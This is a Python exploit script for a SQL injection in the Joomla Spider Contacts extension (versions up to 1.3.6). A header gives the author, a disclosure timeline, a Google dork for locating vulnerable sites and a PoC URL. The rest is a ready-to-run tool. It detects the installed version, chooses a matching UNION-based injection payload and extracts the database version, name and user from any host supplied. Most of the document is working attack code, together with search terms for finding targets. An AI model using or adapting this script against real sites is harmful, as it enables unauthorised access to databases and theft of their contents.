#!/usr/bin/env python # # # Exploit Title : Joomla Spider Contacts <= 1.3.6 SQL Injection # # Exploit Author : Claudio Viviani # # Vendor Homepage : http://web-dorado.com/ # # Software Link : http://web-dorado.com/?option=com_wdsubscriptions&view=dwnldfree&format=row&id=60 (fixed) # Mirror Link : https://mega.co.nz/#!mJwlUahJ!fx7d1ZQszaD3-k66PjWQEBXQafJnEeRDEleN8jqbVOE (no fixed) # # Dork Google: inurl:option=com_spidercontacts # # Date : 2014-09-07 # # Tested on : Windows 7 / Mozilla Firefox # Linux / Mozilla Firefox # # # ###################### # # PoC Exploit: # # http://localhost/joomla/index.php?option=com_spidercontacts&contact_id=[SQLi]&view=showcontact&lang=ca # # # "contacts_id" variables is not sanitized. # # # Vulnerability Disclosure Timeline: # # 2014-09-07: Discovered vulnerability # 2014-09-09: Vendor Notification # 2014-09-10: Vendor Response/Feedback # 2014-09-10: Vendor Fix/Patch # 2014-09-10: Public Disclosure import codecs import httplib import re import sys import socket import optparse banner = """ $$$$$\ $$\ $$$$$$\ $$\ $$\ \__$$ | $$ | $$ __$$\ \__| $$ | $$ | $$$$$$\ $$$$$$\ $$$$$$\$$$$\ $$ | $$$$$$\ $$ / \__| $$$$$$\ $$\ $$$$$$$ | $$$$$$\ $$$$$$\ $$ |$$ __$$\ $$ __$$\ $$ _$$ _$$\ $$ | \____$$\ \$$$$$$\ $$ __$$\ $$ |$$ __$$ |$$ __$$\ $$ __$$\ $$\ $$ |$$ / $$ |$$ / $$ |$$ / $$ / $$ |$$ | $$$$$$$ | \____$$\ $$ / $$ |$$ |$$ / $$ |$$$$$$$$ |$$ | \__| $$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ |$$ __$$ | $$\ $$ |$$ | $$ |$$ |$$ | $$ |$$ ____|$$ | \$$$$$$ |\$$$$$$ |\$$$$$$ |$$ | $$ | $$ |$$ |\$$$$$$$ | \$$$$$$ |$$$$$$$ |$$ |\$$$$$$$ |\$$$$$$$\ $$ | \______/ \______/ \______/ \__| \__| \__|\__| \_______| \______/ $$ ____/ \__| \_______| \_______|\__| $$ | $$ | \__| $$$$$$\ $$\ $$\ $$\ $$$$$$\ $$$$$$\ $$ __$$\ $$ | $$ | $$$$ | $$ ___$$\ $$ __$$\ $$ / \__| $$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$$\ \_$$ | \_/ $$ | $$ / \__| $$ | $$ __$$\ $$ __$$\\_$$ _| \____$$\ $$ _____|\_$$ _| $$ _____| $$ | $$$$$ / $$$$$$$\ $$ | $$ / $$ |$$ | $$ | $$ | $$$$$$$ |$$ / $$ | \$$$$$$\ $$ | \___$$\ $$ __$$\ $$ | $$\ $$ | $$ |$$ | $$ | $$ |$$\ $$ __$$ |$$ | $$ |$$\ \____$$\ $$ | $$\ $$ | $$ / $$ | \$$$$$$ |\$$$$$$ |$$ | $$ | \$$$$ |\$$$$$$$ |\$$$$$$$\ \$$$$ |$$$$$$$ | $$$$$$\ $$\\$$$$$$ |$$\ $$$$$$ | \______/ \______/ \__| \__| \____/ \_______| \_______| \____/ \_______/ \______|\__|\______/ \__|\______/ j00ml4 Spid3r C0nt4cts <= 1.3.6 SQLi Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ C0mm4nds = dict() C0mm4nds['DB VERS'] = 'VERSION' C0mm4nds['DB NAME'] = 'DATABASE' C0mm4nds['DB USER'] = 'CURRENT_USER' def def_payload(payl): payl = payl return payl def com_com_spidercalendar(): com_spidercalendar = "index.php?option=com_spidercontacts&contact_id="+payload+"&view=showcontact&lang=ca" return com_spidercalendar ver_spidercontacts = "administrator/components/com_spidercontacts/spidercontacts.xml" vuln = 0 def cmdMySQL(cmd): SqlInjList = [ # SQLi Spider Contacts 1.3.6 '1%20UNION%20ALL%20SELECT%20CONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23', # SQLi Spider Contacts 1.3.5 - 1.3.4 '1%20UNION%20ALL%20SELECT%20CONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23', # SQLi Spider Contacts 1.3.3 '1%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23', # SQLi Spider Contacts 1.3 '1%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23', # SQLi Spider Contacts 1.2 - 1.1 - 1.0 '-9900%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23', ] return SqlInjList def checkProtocol(pr): parsedHost = "" PORT = m_oOptions.port if pr[0:8] == "https://": parsedHost = pr[8:] if parsedHost.endswith("/"): parsedHost = parsedHost.replace("/","") if PORT == 0: PORT = 443 PROTO = httplib.HTTPSConnection(parsedHost, PORT) elif pr[0:7] == "http://": parsedHost = pr[7:] if parsedHost.endswith("/"): parsedHost = parsedHost.replace("/","") if PORT == 0: PORT = 80 PROTO = httplib.HTTPConnection(parsedHost, PORT) else: parsedHost = pr if parsedHost.endswith("/"): parsedHost = parsedHost.replace("/","") if PORT == 0: PORT = 80 PROTO = httplib.HTTPConnection(parsedHost, PORT) return PROTO, parsedHost def connection(addr, url_string): parsedHost = checkProtocol(addr)[1] PROTO = checkProtocol(addr)[0] try: socket.gethostbyname(parsedHost) except socket.gaierror: print 'Hostname could not be resolved. Exiting' sys.exit() connection_req = checkProtocol(addr)[0] try: connection_req.request('GET', url_string) except socket.error: print('Connection Error') sys.exit(1) response = connection_req.getresponse() reader = codecs.getreader("utf-8")(response) return {'response':response, 'reader':reader} if __name__ == '__main__': m_oOpts = optparse.OptionParser("%prog -H http[s]://Host_or_IP [-b, --base base_dir] [-p, --port PORT]") m_oOpts.add_option('--host', '-H', action='store', type='string', help='The address of the host running Spider Contacts extension(required)') m_oOpts.add_option('--base', '-b', action='store', type='string', default="/", help='base dir joomla installation, default "/")') m_oOpts.add_option('--port', '-p', action='store', type='int', default=0, help='The port on which the daemon is running (default 80)') m_oOptions, remainder = m_oOpts.parse_args() m_nHost = m_oOptions.host m_nPort = m_oOptions.port m_nBase = m_oOptions.base if not m_nHost: print(banner) print m_oOpts.format_help() sys.exit(1) print(banner) if m_nBase != "/": if m_nBase[0] == "/": m_nBase = m_nBase[1:] if m_nBase[-1] == "/": m_nBase = m_nBase[:-1] else: if m_nBase[-1] == "/": m_nBase = m_nBase[:-1] m_nBase = '/'+m_nBase+'/' payload = def_payload('1%27') com_spidercalendar = com_com_spidercalendar() # Start connection to host for Joomla Spider Contacts vulnerability response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0] reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1] # Read connection code number getcode = response.status print("[+] Searching for Joomla Spider Contacts vulnerability...") print("[+]") if getcode != 404: for lines in reader: if not lines.find("spidercontacts_contacts.id") == -1: print("[!] Boolean SQL injection vulnerability FOUND!") print("[+]") print("[+] Detection version in progress....") print("[+]") try: response = connection(m_nHost, m_nBase+ver_spidercontacts).values()[0] reader = connection(m_nHost, m_nBase+ver_spidercontacts).values()[1] getcode = response.status if getcode != 404: for line_version in reader: if not line_version.find("") == -1: VER = re.compile('>(.*?)<').search(line_version).group(1) VER_REP = VER.replace(".","") if int(VER_REP) > 136 or int(VER_REP[0]) == 2: print("[X] VERSION: "+VER) print("[X] Joomla Spider Contacts => 1.3.7 are not vulnerables") sys.exit(1) elif int(VER_REP) == 136: print("[+] EXTENSION VERSION: "+VER) print("[+]") for cmddesc, cmdsqli in C0mm4nds.items(): try: paysql = cmdMySQL(cmdsqli)[0] payload = def_payload(paysql) com_spidercalendar = com_com_spidercalendar() response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0] reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1] getcode = response.status if getcode != 404: for line_response in reader: if not line_response.find("h0m3l4b1t") == -1: MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1) if vuln == 0: print("[!] "+m_nHost+" VULNERABLE!!!") print("[+]") print("[!] "+cmddesc+" : "+MYSQL_VER) vuln = 1 break except socket.error: print('[X] Connection was lost please retry') sys.exit(1) elif int(VER_REP) == 135 or int(VER_REP) == 134: print("[+] EXTENSION VERSION: "+VER) print("[+]") for cmddesc, cmdsqli in C0mm4nds.items(): try: paysql = cmdMySQL(cmdsqli)[1] payload = def_payload(paysql) com_spidercalendar = com_com_spidercalendar() response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0] reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1] getcode = response.status if getcode != 404: for line_response in reader: if not line_response.find("h0m3l4b1t") == -1: MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1) if vuln == 0: print("[!] "+m_nHost+" VULNERABLE!!!") print("[+]") print("[!] "+cmddesc+" : "+MYSQL_VER) vuln = 1 break except socket.error: print('[X] Connection was lost please retry') sys.exit(1) elif int(VER_REP) == 133: print("[+] EXTENSION VERSION: "+VER) print("[+]") for cmddesc, cmdsqli in C0mm4nds.items(): try: paysql = cmdMySQL(cmdsqli)[2] payload = def_payload(paysql) com_spidercalendar = com_com_spidercalendar() response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0] reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1] getcode = response.status if getcode != 404: for line_response in reader: if not line_response.find("h0m3l4b1t") == -1: MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1) if vuln == 0: print("[!] "+m_nHost+" VULNERABLE!!!") print("[+]") print("[!] "+cmddesc+" : "+MYSQL_VER) vuln = 1 break except socket.error: print('[X] Connection was lost please retry') sys.exit(1) elif int(VER_REP) == 13: print("[+] EXTENSION VERSION: "+VER) print("[+]") for cmddesc, cmdsqli in C0mm4nds.items(): try: paysql = cmdMySQL(cmdsqli)[3] payload = def_payload(paysql) com_spidercalendar = com_com_spidercalendar() response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0] reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1] getcode = response.status if getcode != 404: for line_response in reader: if not line_response.find("h0m3l4b1t") == -1: MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1) if vuln == 0: print("[!] "+m_nHost+" VULNERABLE!!!") print("[+]") print("[!] "+cmddesc+" : "+MYSQL_VER) vuln = 1 break except socket.error: print('[X] Connection was lost please retry') sys.exit(1) elif int(VER_REP[:2]) == 10 or int(VER_REP[:2]) == 11 or int(VER_REP[:2]) == 12: print("[+] EXTENSION VERSION: "+VER) print("[+]") for cmddesc, cmdsqli in C0mm4nds.items(): try: paysql = cmdMySQL(cmdsqli)[4] payload = def_payload(paysql) com_spidercalendar = com_com_spidercalendar() response = connection(m_nHost, m_nBase+com_spidercalendar).values()[0] reader = connection(m_nHost, m_nBase+com_spidercalendar).values()[1] getcode = response.status if getcode != 404: for line_response in reader: if not line_response.find("h0m3l4b1t") == -1: MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1) if vuln == 0: print("[!] "+m_nHost+" VULNERABLE!!!") print("[+]") print("[!] "+cmddesc+" : "+MYSQL_VER) vuln = 1 break except socket.error: print('[X] Connection was lost please retry') sys.exit(1) else: print("[-] EXTENSION VERSION: Unknown :(") sys.exit(0) if int(vuln) == 0: # VERSION NOT VULNERABLE :( print("[X] Spider Contacts patched or SQLi blocked by Web Application Firewall") sys.exit(1) else: sys.exit(0) except socket.error: print('[X] Connection was lost please retry') sys.exit(1) # NO SQL BLIND DETECTED print("[X] Spider Contacts patched or SQLi blocked by Web Application Firewall") sys.exit(1) else: print('[X] URL "'+m_nHost+m_nBase+com_spidercalendar+'" NOT FOUND') sys.exit(1)